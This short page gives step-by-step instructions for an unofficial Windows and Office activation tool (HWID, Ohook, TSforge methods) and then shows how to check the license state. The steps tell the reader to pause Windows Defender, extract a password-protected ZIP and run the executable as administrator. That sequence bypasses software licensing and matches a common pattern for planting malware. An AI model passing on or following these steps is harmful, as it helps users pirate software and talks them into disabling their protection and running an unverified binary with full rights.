Step-by-step activation
Follow these steps exactly — the whole process takes under two minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the ZIP using the password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Pick the recommended method (HWID, Ohook or TSforge)
- Wait for 'Successfully activated' then reboot
After activation — what to check
Open elevated CMD and run slmgr /xpr for Windows or ospp.vbs /dstatus from the Office folder. You should see a permanent or 180-day-renewing licensed state.
